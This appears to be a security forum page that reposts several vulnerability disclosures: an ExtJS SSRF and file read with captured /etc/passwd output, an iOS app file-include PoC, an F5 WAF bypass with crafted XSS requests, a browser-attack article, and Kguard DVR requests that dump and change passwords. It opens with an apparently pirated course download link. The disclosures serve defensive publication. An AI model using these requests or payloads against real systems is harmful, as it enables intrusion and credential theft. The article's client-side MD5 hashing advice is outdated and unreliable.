Search the Community

https://www.udemy.com/ifci-expert-cybercrime-investigators-course/?dtcode=Val5uZ439Gk9 curs de 555$, request de usr6 pe chat download link: https://mega.co.nz/#!IJ0THLyI!Zcil-geQw-oZr0117y22DESdGanLGcWl9HocFe3sO4k

Hi all?? Baidu Security Team found a vulnerability in extjs,with this vulnerability we can read arbitrary file and request internal http services File: /examples/feed-viewer/feed-proxy.php line:3-line:6 $feed = $_REQUEST['feed']; if($feed != '' && strpos($feed, 'http') === 0){ header('Content-Type: text/xml'); $xml = file_get_contents($feed); When we request like this url http://dev.sencha.com/extjs/5.0.0/examples/feed-viewer/feed-proxy.php?feed=http://10.1.1.1 if the resource exist,we can get internal http services info ??strpos($feed, 'http') === 0?? we can request this url to bypass the restrictions achieve arbitrary file read http://dev.sencha.com/extjs/5.0.0/examples/feed-viewer/feed-proxy.php?feed=http/../../../../../../../../../../../etc/passwd view the HTML source code root:x:0:0:Web-useast4 root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:Web-useast4 www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false messagebus:x:102:105::/var/run/dbus:/bin/false landscape:x:103:108::/var/lib/landscape:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash ntp:x:105:111::/home/ntp:/bin/false snmp:x:106:112::/var/lib/snmp:/bin/false statd:x:107:65534::/var/lib/nfs:/bin/false postfix:x:108:114::/var/spool/postfix:/bin/false Submitter: zhanghao@Baidu X-team gaojianfeng@Baidu X-team shitong@Baidu X-team ________________________________ Id:Yaseng Hi: Hisengberg Team: Baidu X-team E-mail:gaojianfeng@baidu.com<mailto:gedongyu@baidu.com> [tips] Source: http://dl.packetstormsecurity.net/1505-exploits/extjs-disclose.txt

Document Title: =============== PDF Converter & Editor 2.1 iOS - File Include Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1480 Release Date: ============= 2015-05-06 Vulnerability Laboratory ID (VL-ID): ==================================== 1480 Common Vulnerability Scoring System: ==================================== 6.9 Product & Service Introduction: =============================== Text Editor & PDF Creator is your all-in-one document management solution for iPhone, iPod touch and iPad. It can catch documents from PC or Mac via USB cable or WIFI, email attachments, Dropbox and box and save it on your iPhone, iPod Touch or iPad locally. (Copy of the Vendor Homepage: https://itunes.apple.com/it/app/text-editor-pdf-creator/id639156936 ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Core Research Team discovered file include web vulnerability in the official AppzCreative - PDF Converter & Text Editor v2.1 iOS mobile web-application. Vulnerability Disclosure Timeline: ================================== 2015-05-06: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== AppzCreative Ltd Product: PDF Converter & Text Editor - iOS Web Application (Wifi) 2.1 Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ A local file include web vulnerability has been discovered in the official AppzCreative - PDF Converter & Text Editor v2.1 iOS mobile web-application. The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific path commands to compromise the mobile web-application. The web vulnerability is located in the `filename` value of the `submit upload` module. Remote attackers are able to inject own files with malicious `filename` values in the `file upload` POST method request to compromise the mobile web-application. The local file/path include execution occcurs in the index file dir listing of the wifi interface. The attacker is able to inject the local file include request by usage of the `wifi interface` in connection with the vulnerable file upload POST method request. Remote attackers are also able to exploit the filename issue in combination with persistent injected script codes to execute different malicious attack requests. The attack vector is located on the application-side of the wifi service and the request method to inject is POST. The security risk of the local file include vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.9. Exploitation of the local file include web vulnerability requires no user interaction or privileged web-application user account. Successful exploitation of the local file include vulnerability results in mobile application compromise or connected device component compromise. Request Method(s): [+] [POST] Vulnerable Module(s): [+] Submit (Upload) Vulnerable Parameter(s): [+] filename Affected Module(s): [+] Index File Dir Listing (http://localhost:52437/) Proof of Concept (PoC): ======================= The local file include web vulnerability can be exploited by remote attackers (network) without privileged application user account and without user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Install the software to your iOS device 2. Start the mobile ios software and activate the web-server 3. Open the wifi interface for file transfers 4. Start a session tamper and upload a random fil 5. Change in the live tamper by interception of the vulnerable value the filename input (lfi payload) 6. Save the input by processing to continue the request 7. The code executes in the main file dir index list of the local web-server (localhost:52437) 8. Open the link with the private folder and attach the file for successful exploitation with the path value 9. Successful reproduce of the vulnerability! PoC: Upload File (http://localhost:52437/Box/) <div id="module_main"><bq>Files</bq><p><a href="..">..</a><br> <a href="<iframe>2.png"><../[LOCAL FILE INCLUDE VULNERABILITY IN FILENAME!]>2.png</a> ( 0.5 Kb, 2015-04-30 10:58:46 +0000)<br /> </p><form action="" method="post" enctype="multipart/form-data" name="form1" id="form1"><label>upload file<input type="file" name="file" id="file" /></label><label><input type="submit" name="button" id="button" value="Submit" /></label></form></div></center></body></html></iframe></a></p></div> --- PoC Session Logs [POST] (LFI - Filename) --- Status: 200[OK] POST http://localhost:52437/Box/ Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[3262] Mime Type[application/x-unknown-content-type] Request Header: Host[localhost:52437] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://localhost:52437/Box/] Connection[keep-alive] POST-Daten: POST_DATA[-----------------------------321711425710317 Content-Disposition: form-data; name="file"; filename="../[LOCAL FILE INCLUDE VULNERABILITY IN FILENAME!]>2.png" Content-Type: image/png Reference(s): http://localhost:52437/ http://localhost:52437/Box/ Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure validation of the filename value in the upload POST method request. Restrict the filename input and disallow special chars. Ensure that not multiple file extensions are loaded in the filename value to prevent arbitrary file upload attacks. Encode the output in the file dir index list with the vulnerable name value to prevent application-side script code injection attacks. Security Risk: ============== The security rsik of the local file include web vulnerability in the filename value of the wifi service is estimated as high. (CVSS 6.9) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt Source

Details ======= Product: F5 BIG-IP Application Security Manager (ASM) Vulnerability: Web Application Firewall Bypass Author: Peter Lapp, lappsec () gmail com CVE: None assigned Vulnerable Versions: Confirmed 11.4.0, 11.4.1. Should apply to all releases. Fixed Version: None Summary ======= The F5 ASM is a web application firewall designed to protect web applications from attacks. Due to the way that the system processes JSON content, it's possible to bypass the ASM using a crafted request to a URL that processes both JSON and regular URL encoded requests. The vendor has acknowledged that this is an issue and has indicated that a fix will be released sometime in the future, but doesn't have a time frame and it's not a priority. I decided to release the details so anyone with a vulnerable configuration is aware of the risk and can act accordingly. Technical Details ================= The problem is that the ASM's JSON parser does not normalize URL encoded content. So it will block <script>, but not %3cscript%3e. This is fine unless you have a JSON profile applied to a URL that also processes normal x-www-form-urlencoded POST requests. In this case, it's possible to trick the ASM into thinking the request is JSON, URL encode your payload, and slip it through to the application. Granted, this bypass is limited to a specific configuration, but it's really not that uncommon to have a JSON profile applied to a URL that also processes other data. Possible scenarios include a generic JSON catchall, one automatically created by the policy builder, or you may have a web application that uses parameter based navigation (page=json goes to one page, page=search goes to another). In any case, if you have a JSON profile applied to a URL that also handles POST requests with x-www-form-urlencoded content, you're vulnerable. First, in order to bypass the ASM, you have to trick it into thinking the request content is JSON. In F5's documentation (https://support.f5.com/kb/en-us/products/big-ip_asm/manuals/product/asm-implementations-11-4-0/14.html), they recommend matching *json* in the Content-Type header. This is easily tricked by setting the header to "Content-Type: application/x-www-form-urlencoded; charset=UTF-8;json". I then tested setting it to only match on application/json, but that was still tricked by dual content-type headers: Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Type: application/json The application (running on Tomcat) processed the request as urlencoded, but the ASM processed it as JSON. >From here, passing through a malicious payload depends on the violations that are enabled on the security profile. If Malformed JSON is NOT enabled, you can just tag "json" onto the end of the content header(or double the header), URL encode special characters in your payload and send it away. In this case, a request like the following would not be blocked: POST / HTTP/1.1 Host: x.x.x.x Connection: keep-alive Content-Length: 168 Content-Type: application/x-www-form-urlencoded; charset=UTF-8;json search=%3cimg+src%3dx+onerror%3alert%280%29%3e If Malformed JSON violations are enabled, then the payload has to be valid JSON. A request like the one below will get past that. It's not pretty but it works. This request will get past the ASM with all the bells and whistles enabled. POST / HTTP/1.1 Host: x.x.x.x Connection: keep-alive Content-Length: 168 Content-Type: application/x-www-form-urlencoded; charset=UTF-8;json {"junkparam=&search=%3cimg+src%3dx+onerror%3dalert%280%29%3e&junkparam2=":"junk"} The ASM parses that as JSON and it is well formed so there aren't any errors. But the application is processing it as x-www-form-urlencoded so {"junkparam is just treated as a regular parameter name and the second parameter with the payload in it gets through. The last parameter is there just to close out the JSON format. Also, because JSON profiles don't check for meta characters in parameter names, it doesn't trigger an Illegal meta character in parameter name violation. If the payload looked like this {"param":"junkparam=&locationFilter=%3cimg+src%3dx+onerror%3dalert%280%29%3e&junkparam2="} then it would still get through but only if the illegal meta character in value violation was not set to block. Right now there is no fix for this issue and I haven't been able to find a way to block a request like the one above from getting through. I consulted F5's engineers and they said this was by design and there's no way to block it as of now. There will be a fix for this in the future, but until then make sure that your ASM profiles are as explicit as possible and you have compensating security controls for any URLs that this bypass would apply to. It's just another reason not to use a WAF as a band-aid for a vulnerable application! Feel free to contact me if you have any questions or additional information to add to this. Timeline ======== 1/19/2015 - Reported the issue to the vendor 2/26/2015 - The vendor confirms that it's a valid problem but are not going to release a fix in the near term. 3/13/2015 - Vendor product development creates ID 511951 to track the problem and consider adding a fix in a future major release. 5/5/2015 - Released info to FD. Source

Abstract Web browsers or mobile browsers are software applications that act as the intermediary applications between a user and the World Wide Web and are used to access information from the Web. Some of the popular browsers which we are using in our daily life are Google Chrome, Mozilla Firefox, Internet Explorer, Opera, Safari, etc. With their wide usage and increasing popularity, they have become one of the major targets for exploitation by hackers. A small mistake during the coding of the application may result in it being vulnerable to intrusions. This article is going to cover a few browser-based attacks, which are not browser specific and can be exploited on any browser if not closed by the application developers during writing or designing the application. The following browser-based attacks, along with the mitigation, are going to be covered in this article: Browser cache: Obtaining sensitive information from the cache stored in browsers. Back and Refresh attack: Obtaining credentials and other sensitive data by using the Back button and Refresh feature of the browser. Passwords in browser memory: Getting the password or credit card details stored in the browser’s physical memory. Autocomplete: Obtaining the credentials of a user from the stored password in the browser. Browser history: Sensitive information leaked through the URL from the browser’s history. 1. Browser Cache Every time when a website is opened, the contents of that web page are sent to the browser’s temporary cache folder of a user’s machine. If those contents on that web page need to load again, the browser opens the page from the cache instead of downloading the page again. If some web application stores and shows the sensitive information to the user (such as their address, credit card details, username), this information could also be stored for caching, and hence it is retrievable through examining the browser’s cache. In IE, these pages are stored in C:\Users\<user_name>\AppData\Local\Microsoft\Windows\Temporary Internet Files In Firefox, these pages are stored in C:\Users\<user_name>\AppData\Local\Mozilla\Firefox\Profiles\<profile-id>\Cache Or by typing the following URL in the address bar of the browser: about:cache In Chrome, these pages are stored in C:\Users\<user_name>\AppData\Local\Google\Chrome\User Data\Default\Cache Or by typing the following URL in the address bar of the browser: chrome://cache Proof of Concept This demo is shown in the Mozilla Firefox browser. Log in to the application, access a few pages and then log out of the application. In the address bar, type about:cache. This shows the cache store in the browser. Go through the list and access the cache content of the website you are interested in. The following screenshot shows the URL for the user dashboard. The user dashboard can have sensitive information like address, phone number, mapped credit card details, e-mail ID, etc. On opening a specific cache entry, the user dashboard can be seen along with the address, phone number, order history, etc. This is shown in the following screenshot Mitigation This problem can be mitigated by setting proper cache control attributes in the response header. Mainly there are two types of cache attributes: 1. Cache-control: no-cache The no-cache attribute indicates that the browser should not use the information that is cached for that particular request–response pair. The browser stores the cache, but instead of showing the content from the cache, it sends the request to the server each time. But again, the cache will be only be in the browser and can be easily accessed by an attacker or malicious user. 2. Cache-control: no-store The no-store attribute indicates that the request–response pair should not be cached and stored in the browser. This applies to the entire page. 3. Using HTML meta tags You can implement the cache control using Meta tags also. Meta tags can be set as follows: <meta http-equiv=”Cache-Control” content=”no-cache” /> <meta http-equiv=”Cache-Control” content=”no-store” /> Here, if the cache-control header is manually appended in the HTTP response and set to no-cache, as shown in the following screenshot, the browser will still cache the page. If the browser cache is accessed, the cached pages of a user’s dashboard can be found. Opening it in Offline mode will show the order details, as shown in the screenshot below. Now, if the value of a cache-control header is set to no-store, no-cache and the browser cache is accessed, the cached pages of a user’s dashboard will not be found. This is shown in the following screenshots. Hence, the developer should analyze the web page content and implement proper cache-control attributes on the pages storing sensitive data. 2. Password in browser memory Most of the applications and servers store the password in hashed or encrypted format, but such hashing/encryption is not applied while storing passwords in the browser memory. The GET and POST requests on any sensitive page where the user is supplying sensitive information (like credentials, credit card number, etc.) is stored in the browser memory while it is open. An attacker with local access to the system can read the sensitive data using memory-reading tools like WinHex. An adversary with physical access to the user’s open browser, after logout, can thus steal the sensitive data from the memory. Once sensitive data like a password is discovered, attackers can escalate their privileges in the application. Proof of Concept Access the application. Enter the valid credentials, as shown in the following screenshot, and browse through the application. After logging out of the application, do not close the browser. Open any memory reading tool like “Winhex” and navigate to the following path, as shown in the screenshots below: Tools ? Open Ram ? Choose a browser (in this case Firefox) ? Select Entire Memory Search through the data using the username. The complete login request for that specific application can be obtained, as shown in the screenshot below. From here, an attacker can steal the login credentials of a user and escalate his privilege. Mitigation As this problem is present in the browser/local machine, using SSL will not mitigate this. A user can’t stop the browser from storing the password or other sensitive information. A solution has to be implemented through which the attacker can’t replay the password value obtained from the physical memory. So, the solution for this is to implement salted hashing. Instead of sending the password to the server, send the salted hash value of the password. Here is how the salted hashing technique works: Store the MD5 hash of the password in the database. (MD5 hash is a cryptographic technique in which the actual value can never be recovered). When a client requests for a login page, the server generates a random number called salt and sends it to the user along with the page. A JavaScript present on the client machine calculates the MD5 hash of the password entered by the user. It then combines the hash value with the salt value and recalculates the hash value. This hash value is sent to the server. The server picks the hash value of the password from its database, combines it with the salt value and calculates the MD5 hash value. If both the values match (it will happen only when the user enters the correct password), the user is authenticated to the application. Every time the salt value will be different; hence, even if the attacker gets the hashed password from the browser’s memory, he can’t replay it. Another solution could be implementing a JavaScript, which forcefully closes the browser once the user is logged out of the application. This will flush the complete memory of the browser, and hence no data can be retrieved from the browser’s memory. 3. Back and Refresh attack Browsers have the ability to maintain a recent record of pages that were visited by a user. The Back and Forward buttons on browsers use this functionality to display the pages recently browsed. In addition, browsers also keep track of variables like username, password, credit card details, etc. that were POSTed to the server while fetching the page. If a user logs in to the website, performs some actions and then logs out, and an adversary has access to the same machine as the user, he can see the logout page that is displayed on the browser window. He can then click the Back button until he reaches the page shown after a successful login. Here, the attacker can click the Refresh button, and the browser automatically resubmits the request with all the information. Proof of Concept Consider the Change Password page of an application: Log in to the application and access the Change Password page. Enter the values in the Current Password and New Password fields and click Submit. The request and response series for the Change Password request are shown in the following screenshots. Request Response The following screenshot shows that the password gets changed successfully. Browse through the application and then log out of the application. After logout, leave the machine without closing the browser window. An attacker who has physical access to this machine can simply click the Back button drop-down list and identify the page which comes after the Change Password page. This is depicted in the following screenshot. When a specific page is clicked, the browser displays the warning that the page has expired, as shown in the following screenshot. At this point the attacker can start a browser proxy tool like Burp and configure the browser to send its requests through the proxy. On the error page, the adversary clicks the Refresh button. The browser shows a pop-up warning to the user about reposting some of the variables in order to access the page, as shown in the screenshot below. The attacker clicks the “Resend” button. The attacker can see the request going to server using the configured proxy tool and can steal the password value of the user. This is shown in the screenshot below. Variation of the attack Many times it has been observed that the site is using redirection on successful login but not on unsuccessful login. If a login page is secured by CAPTCHA and the user provides the correct credentials but the wrong CAPTCHA value, then the user is again served with the login page with an error message. In this case too, an attacker can steal the credentials using the Back and Refresh features. Even if CAPTCHA is not implemented, an attacker can get some sensitive information like correct username or password. Proof of Concept Access the login page of the application and provide the correct username and wrong password, as shown in the following screenshot. After validating the credentials, the server responds with a “200 OK” with error stating “Username/Password is wrong”. This is shown in the screenshots below. Click the Back button and access the page which came after providing the incorrect credentials, as shown in the following screenshot. The browser warns that the document has expired and asks the user to resend the data to the server, as shown in the following screenshot. Configure the proxy between the browser and server and intercept the data going to the server. Click the “Resend” button. The user credentials can be seen in cleartext in the captured request, as shown in the following screenshot. Cause of problem The browser keeps track of the requests sent to server to fetch particular pages. In this case, the Change Password page is “changepass.aspx” and the page which appears after is “changepass1.aspx”. The “changepass1.aspx” page is displayed after providing the Current, New and Confirm Password values. So, the browser remembers the request which is sent to get the “changepass1.aspx” page. The following steps are present for the existing scenario: The user accesses the “changepass.aspx” page. The user types the current password, new password, and confirm new password and submits the request which is sent to “changepass1.aspx”. The user is authenticated in the “changepass1.aspx” page. The user is served with the “changepass1.aspx” page. When the attacker clicks the “changepass1.aspx” page, the request which was sent to render “changepass1.aspx” is resent to the server. This request contains the current, new and confirm new password values. Mitigation The following steps will be performed if an intermediate page is implemented between “changepass.aspx” and “changepass1.aspx”: The user accesses the “ChangePass.aspx” page. The user types the current password, new password, and confirm new password and submits the request to “CheckPass.aspx” The user is authenticated in the “CheckPass.aspx” page. The user is redirected to the “ChangePass1.aspx” page. The browser sends a new request to fetch the “ChangePass1.aspx” page. Now, even if an attacker refreshes the “changepass1.aspx” page, the request which the browser used to get “changepass1.aspx” will be sent, which is a redirect request sent by “CheckPass.aspx”. The request will be a simple GET request for fetching “ChangePass1.aspx” and there will be no value going in that request. The solution should be implemented on all the pages where a form is being submitted or some sensitive action is happening. 4. Autocomplete In many applications, when the user submits credentials, the browser shows a pop-up for remembering the password. If the user clicks “Remember password”, the browser will store the password and automatically enter it when the same application is accessed again. The feature is convenient for users, as they don’t have to remember and enter the password, but it poses a problem if the user is using this feature on a shared or public computer. An attacker can easily retrieve the stored password from the browser. Even if the stored passwords are encrypted or protected by the master password (a password to access the stored passwords), an attacker can retrieve this password by visiting the application, for which the password is stored, in the browser. An attacker enters the username and the browser automatically fills the password field. An attacker can run a proxy tool like Burp to intercept the request going to server and then can obtain the cleartext or encrypted password going to server. The saved password can be accessed by navigating to: Firefox: Options ? Security ? Saved Password Chrome: Settings ? Manage password (Under password and forms) IE: Internet Options ? Content ? AutoComplete Settings ? Manage Passwords Proof of Concept Here, after entering the credentials, the browser shows a popup asking the user if the password for the website should be remembered. This is depicted in the screenshot below. If the user clicks “Remember Me”, the password will be stored in the browser. In Firefox, the saved password can be accessed by navigating to Tools ? Options ? Security ? Saved Password. This is depicted in the following screenshot. When the “Saved Passwords” button is clicked, the browser shows the list of websites for which the passwords are stored in the browser. This is shown in the following screenshot. If the “Show Passwords” button is clicked, the user will be able to see the stored passwords, as shown in the screenshot below. Now, suppose the list of stored passwords is secured by a master password in the browser. Then the user has to enter the master password to access the list, as shown in the screenshot below. In this case, an adversary needs to use an intermediate proxy tool to intercept the request going to the server. Go to the application and double click the username field. It will show the list of the stored usernames. Click one username and the browser will automatically fill the password from the stored password list. This password can’t be seen, as it is hidden behind the asterisk symbol. A user can click the Submit button and capture the request going to server using a web proxy tool like Burp. From the intercepted request, it is easy to find the password of submitted username, as the data can be seen in cleartext. This is shown in the following screenshot. Mitigation The problem can be solved by setting the Autocomplete attribute in the Login and other sensitive pages. Make sure the Autocomplete attribute for all sensitive pages is set to “off”. A sensitive page can be the Login page, change password page, edit information page, etc. If Autocomplete is not configured on the page, then by default it is “ON” and the application will store the information. This can be done using the following command: < form autocomplete=”off”> – It will set Autocomplete to “OFF” for all form fields in the page. Even if the browser is configured to store the password, the above code will overwrite the browser settings. The Autocomplete attribute is ignored in the latest versions of all browsers. Hence, the above solution won’t work for the latest versions of the browsers. As a security best practice, a user should be warned with a generic warning message about storing the cleartext password in the browser. A more advanced way of implementation, involving HTML and JavaScript, can be used. A sample code is available here. 5. Browser history When a user submits any data, it goes to the server either in a GET request or in a POST request. In a GET request the user data is present in the URL itself, whereas in a POST request the user data is present in the body of the request. The following two screenshots show user data going in GET and POST requests. All GET requests that are accessed from the browser are stored in the browser’s history and cache. This data can be viewed even if the user is logged out or the browser is closed by checking the history of the browser. So, if an application sends the user’s sensitive information through a GET request, i.e. through URL, an attacker can obtain this data by checking the browser history. GET request: POST request: Proof of Concept Here, after entering the credentials on the website when the user clicks the LOG IN button, the credentials are sent in a GET request. This is shown in the following screenshot. The request going to server is captured in Burp, which shows that the user provided data is sent as a GET request. This is depicted in the following screenshot. So, an attacker who has physical access to the user’s machine can see these credentials in the browser’s history, as shown in the screenshot below. In the same way, if an application sends other sensitive data like credit card details through the GET request, the data can be accessed from the browser history. Mitigation Never send sensitive information in the GET request. Data containing sensitive information should be sent through the POST request. When sensitive information is sent in the POST request, the data goes in the request body, and hence can’t be accessed from the browser history, because the browser history only shows all the GET requests. Implement the POST method in the form as shown below: <form name=”login” action=”index_submit” method=”POST” accept-charset=”utf-8?> The above screenshots shows that no sensitive data is being stored in the browser history when the application is using POST instead of the GET method. Conclusion So, we have now discussed some browser-based attacks in this article. These attacks are applicable on web as well as mobile browsers. To perform any of the above attacks, an attacker has to depend on the following points: The attacker should have physical access to the victim’s machine. For some attacks, the browser should not be closed. The victim should not delete the browsing history, cache, etc. Due to all these limitations, the risk rating for all the above mentioned attacks ranges from Medium to Low, but depending on the information received, it can be high too. If an attacker can get account/credit/debit card details in the browser’s cache or through the Back and Refresh attack, then the risk rating would be high. All these vulnerabilities can be avoided by implementing the proper controls discussed in this article. References https://devcenter.heroku.com/articles/increasing-application-performance-with-http-cache-headers https://www.owasp.org/index.php/Testing_for_Vulnerable_Remember_Password_(OTG-AUTHN-005) http://repo.hackerzvoice.net/depot_cehv6/CEHv6%20Module%2059%20How%20to%20Steal%20Passwords/Stealing_passwords_via_browsers.pdf Source

MULTIPLE VULNERABILITIES WITH KGUARD DIGITAL VIDEO RECORDERS, February 10, 2015 PRODUCT DESCRIPTION The Kguard SHA104 & SHA108 are 4ch/8ch H.264 DVRs designed for economical application. It's stylish & streamlines hardware design and excellent performance can be fast moving, competitive and an ideal solution for entry level & distribution channels. VENDOR REFERENCE: http://us.kworld-global.com/main/prod_in.aspx?mnuid=1306&modid=10&prodid=527 VULNERABILITY DESCRIPTION 1. Insufficient authentication and authorization A deficiency in handling authentication and authorization has been found with Kguard 104/108 models. While password-based authentication is used by the ActiveX component to protect the login page, all the communication to the application server at port 9000 allows data to be communicated directly with insufficient or improper authorization. The request HI_SRDK_SYS_USERMNG_GetUserList for example will show all the usernames in the system together with their passwords. The below example is an actual unmodified request and response by the server. REMOTE HI_SRDK_SYS_USERMNG_GetUserList MCTP/1.0 CSeq:6 Accept:text/HDP Content-Type:text/HDP Func-Version:0x10 Content-Length:51 3Segment-Num:1 Segment-Seq:1 Data-Length:4 VMCTP/1.0 200 OK Content-Type:text/HDP CSeq:6 Return-Code:0 Content-Length:2326 Segment-Num:2 Segment-Seq:1 Data-Length:2240 eric 111222 111222 admin 111222 111222 333444 333444 555666 555666 user4 user5 user6 Segment-Seq:2 Data-Length:4 An interesting request is HI_SRDK_NET_MOBILE_GetOwspAttr. If configured, this allows mobile devices to access and monitor the cameras at port 18004. An actual unmodified request and response is shown below. REMOTE HI_SRDK_NET_MOBILE_GetOwspAttr MCTP/1.0 CSeq:15 Accept:text/HDP Content-Type:text/HDP Func-Version:0x10 Content-Length:15 Segment-Num:0 VMCTP/1.0 200 OK Content-Type:text/HDP CSeq:15 Return-Code:0 Content-Length:161 Segment-Num:1 Segment-Seq:1 Data-Length:112 admin 111222 The password to this user can be changed easily by executing the HI_SRDK_NET_MOBILE_SetOwspAttr request as shown below and can be saved in memory by executing HI_SRDK_DEV_SaveFlash: REMOTE HI_SRDK_NET_MOBILE_SetOwspAttr MCTP/1.0 CSeq:1 Accept:text/HDP Content-Type:text/HDP Func-Version:0x10 Content-Length:161 Segment-Num:1 Segment-Seq:1 Data-Length:112 admin.t..|A<.......n(...........111222444.eted!.p.c<.... ... ...TF.............................................. The logs from the application server can confirm that the execution was successful: [MCTP] [HI_MCTP_MethodProc_Remote] SUCCESS!!!!! /home/yala/svn/D9108_MLANG_QSEE/dvr/modules/vscp/mctp/server/hi_vscp_mctp_mthdproc.c 606======================== GetNetworkState:192.168.254.200 Logs from the DVR also shows that an existing mobile device that tries to connect on port 18004 with previous credentials stored will fail: < StreamingServer> [ run] A client(116) connected[2010-09-11 12:30]. < LangtaoCommProto> [ handlePacketBody] Input buffer total length: 60 < LangtaoCommProto> [ handlePacketBody] tlv type: 41 < LangtaoCommProto> [ handlePacketBody] tlv length: 56 < LangtaoCommProto> [ handlePacketBody] Login request received. < LangtaoCommProto> [ handleLoginReq] User Name: admin Passwrod: 111222 < LangtaoCommProto> [ handleLoginReq] User name and/or password validate fail. < StreamingServer> [ handleRequest2] Send response to client. < StreamingServer> [ handleRequest2] Session closed actively. < StreamingServer> [ run] Handle request fail. ----------------------- SESSION(116) END ----------------------- 2. Lack of transport security The communication to the application server is done by an unprotected ActiveX component that is presented to the browser's initial session. The lack of transport encryption may allow us to exploit possible request from this component to the application server. This file is named as HiDvrOcx.cab. Decompiling the file will allow us to see the libraries being used: -rw-rw-r--. 1 fjpfajardo fjpfajardo 1443576 Mar 11 2011 HiDvrOcx.ocx -rw-rw-r--. 1 fjpfajardo fjpfajardo 1443 Mar 11 2011 HiDvrOcx.inf -rw-rw-r--. 1 fjpfajardo fjpfajardo 27136 Mar 11 2011 HiDvrOcxESN.dll -rw-rw-r--. 1 fjpfajardo fjpfajardo 26624 Mar 11 2011 HiDvrOcxITA.dll -rw-rw-r--. 1 fjpfajardo fjpfajardo 26624 Mar 11 2011 HiDvrOcxBRG.dll -rw-rw-r--. 1 fjpfajardo fjpfajardo 20992 Mar 11 2011 HiDvrOcxJPN.dll -rw-rw-r--. 1 fjpfajardo fjpfajardo 155648 Mar 11 2011 HiDvrNet.dll -rw-rw-r--. 1 fjpfajardo fjpfajardo 487525 Mar 11 2011 HiDvrMedia.dll Interestingly, checking the DLL file named HiDvrNet.dll will reveal other types of controls which can be presented to the application server as well: HI_SRDK_NET_MOBILE_GetOwspAttr HI_SRDK_NET_MOBILE_SetAttr HI_SRDK_NET_MOBILE_SetOwspAttr HI_SRDK_NET_Network_DHCP_Client_GetAttr HI_SRDK_NET_Network_DHCP_Client_SetAttr HI_SRDK_NET_Network_GetDNSList HI_SRDK_NET_Network_GetDefaultGateway HI_SRDK_NET_Network_GetNetdevAttr HI_SRDK_NET_Network_GetNetdevName HI_SRDK_NET_Network_SetDNSList HI_SRDK_NET_Network_SetDefaultGateway HI_SRDK_NET_Network_SetNetdevAttr HI_SRDK_NET_SetDdnsAttr HI_SRDK_NET_SetEmailAttr HI_SRDK_NET_SetIppreviewVodAttr HI_SRDK_NET_SetMctpServerPort HI_SRDK_NET_SetPppoeAttr HI_SRDK_NET_SetWebServerPort HI_SRDK_Open_Device HI_SRDK_RECORDER_GetPlaybackAttr HI_SRDK_RECORDER_GetRecordAttr 